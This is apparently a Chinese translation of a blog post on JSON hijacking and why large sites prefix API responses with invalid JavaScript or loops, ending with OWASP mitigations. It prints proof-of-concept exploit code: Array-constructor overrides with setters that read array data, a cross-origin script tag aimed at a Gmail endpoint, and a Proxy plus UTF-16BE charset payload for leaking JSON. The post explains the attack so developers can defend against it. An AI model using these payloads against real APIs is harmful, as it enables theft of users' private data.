博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
你知道为什么Facebook的API以一个循环作为开头吗?
阅读量:6759 次
发布时间:2019-06-26

本文共 4042 字,大约阅读时间需要 13 分钟。

如果你有在浏览器中查看过发给大公司API的请求,你可能会注意到,JSON前面会有一些奇怪的JavaScript:

\"\"

为什么他们会用这几个字节来让JSON失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。

这个漏洞被称为,也就是网站可以从这些API中提取JSON数据。

起源

在JavaScript 1.5及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。

你可以这样:

function Array(){    alert('You created an array!');}var x = [1,2,3];

这样就会弹出alert!

使用以下脚本替换var x,攻击者就可以阅读你的电子邮件!

这是通过在加载外部脚本之前覆盖Array构造函数来实现的。

\u0026lt;script src=\u0026quot;https://gmail.com/messages\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;

数据提取

即使你重载了构造函数,仍然可以通过this来访问它。

这是一个代码片段,它将alert数组的所有数据:

function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}

在创建数组后,它们的值将被alert出来!

ECMAScript 4提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如Object和Array。

尽管ES4从未发布,但主要浏览器在发现后很快就修复了这个漏洞。

在今天的JavaScript中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。

这是之前的一个修订版本:

// Making an arrayconst x = [];// Making the overriden methodsx.copy = [];const extractor = (v) =\u0026gt; {    // Keeping the value in a different array    x.copy.push(v);    // Setting the extractor for the next value    const currentIndex = x.copy.length;    x.__defineSetter__(currentIndex, extractor);    x.__defineGetter__(currentIndex, ()=\u0026gt;x.copy[currentIndex]);    // Logging the value    console.log('Extracted value', v);};// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=\u0026gt;x.copy[0]);// Using the array as usualx[0] = 'zero';x[1] = 'one';console.log(x[0]);console.log(x[1]);

这是一个使用Array关键字创建数组的版本:

function Array(){    console.log(arguments);}Array(\u0026quot;secret\u0026quot;,\u0026quot;values\u0026quot;);

如你所见,你添加到数组中的数据被记录下来,但功能保持不变!

修复方案并没有阻止使用Array来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。

这意味着我们仍然可以创建一个Array函数,但不能与方括号([1,2,3])一起使用。

如果我们使用x = new Array(1,2,3)或x = Array(1,2,3),它仍将被调用,但不会给JSON劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?

随着最近EcmaScript 6的发布,添加了很多新功能,例如Proxies!

来自Portswigger的Gareth Heyes在上介绍了这个漏洞的新变体,它仍然允许我们从JSON端点窃取数据!

通过使用Proxies(而不是Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。

它可以像Accessor一样,但可以访问任意可访问或写入属性。

使用这个和另外一个技巧,就可以再次窃取数据!

UTF-16BE是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符0x5b22而不是0x5b 0x22。0x5b22恰好是一个有效的JavaScript变量=)。

使用这个脚本:

\u0026lt;script charset=\u0026quot;UTF-16BE\u0026quot; src=\u0026quot;external-script-with-array-literal\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;

通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!

这是Gareth最后的POC,摘自他的博文:

\u0026lt;!doctype HTML\u0026gt;\u0026lt;script\u0026gt;Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c\u0026gt;\u0026gt;8,c\u0026amp;0xff); }));    }}));\u0026lt;/script\u0026gt;\u0026lt;script charset=\u0026quot;UTF-16BE\u0026quot; src=\u0026quot;external-script-with-array-literal\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;!-- script contains the following response: [\u0026quot;supersecret\u0026quot;,\u0026quot;\u0026lt;?php echo chr(0)?\u0026gt;aa\u0026quot;] --\u0026gt;

我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是OWASP的:

  • 使用CSRF保护,如果不存在安全标头或csrf令牌,就不返回数据,以防止被利用。
  • 始终将JSON作为对象返回。

最后的解决方案很有趣。

在Firefox和IE中,这个是有效的:

x = [{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}]x = {\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}[{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}]{key: \u0026quot;value\u0026quot;}

但这样不行:

{\u0026quot;key\u0026quot;:\u0026quot;value\u0026quot;}

它之所以无效是因为Firefox和IE认为括号是块语句的开头,而不是创建对象。

没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止API被利用。

如果我们把这个视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。

谷歌和Facebook在JSON数据之前添加无效的JavaScript或无限循环,OWASP也列出了其他替代方案。

英文原文

活动推荐

\"\"

12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击

转载地址:http://uhbeo.baihongyu.com/

你可能感兴趣的文章
Tin显示效果的美化
查看>>
NPM酷库:string-random,生成随机字符串
查看>>
简陋的swift carthage copy-frameworks 辅助脚本
查看>>
Just for fun——Slim借力Swoole
查看>>
[转]2018网站开发者技能谱
查看>>
Babel 配置工程师应知应会
查看>>
iKcamp&掘金Podcast直播回顾(12月2号和9号的两场)
查看>>
nodejs + koa2 实现爬虫
查看>>
聊天机器人:应用程序纪元新黎明
查看>>
How to Override Equals in Java and Scala
查看>>
由Git引发的对SSH的研究
查看>>
Java IO
查看>>
面试宝典之沟通能力
查看>>
RSA加密解密(无数据大小限制,php、go、java互通实现)
查看>>
ES6系列文章 模板字符串
查看>>
logrotate使用
查看>>
Trie树使用实例
查看>>
ELK 集群 + Redis 集群 + Nginx ,分布式的实时日志(数据)搜集和分析的监控系统搭建,简单上手使用...
查看>>
【Java并发编程的艺术】第二章读书笔记之synchronized关键字
查看>>
WePY为了兼容支付宝小程序,改了好几十行代码
查看>>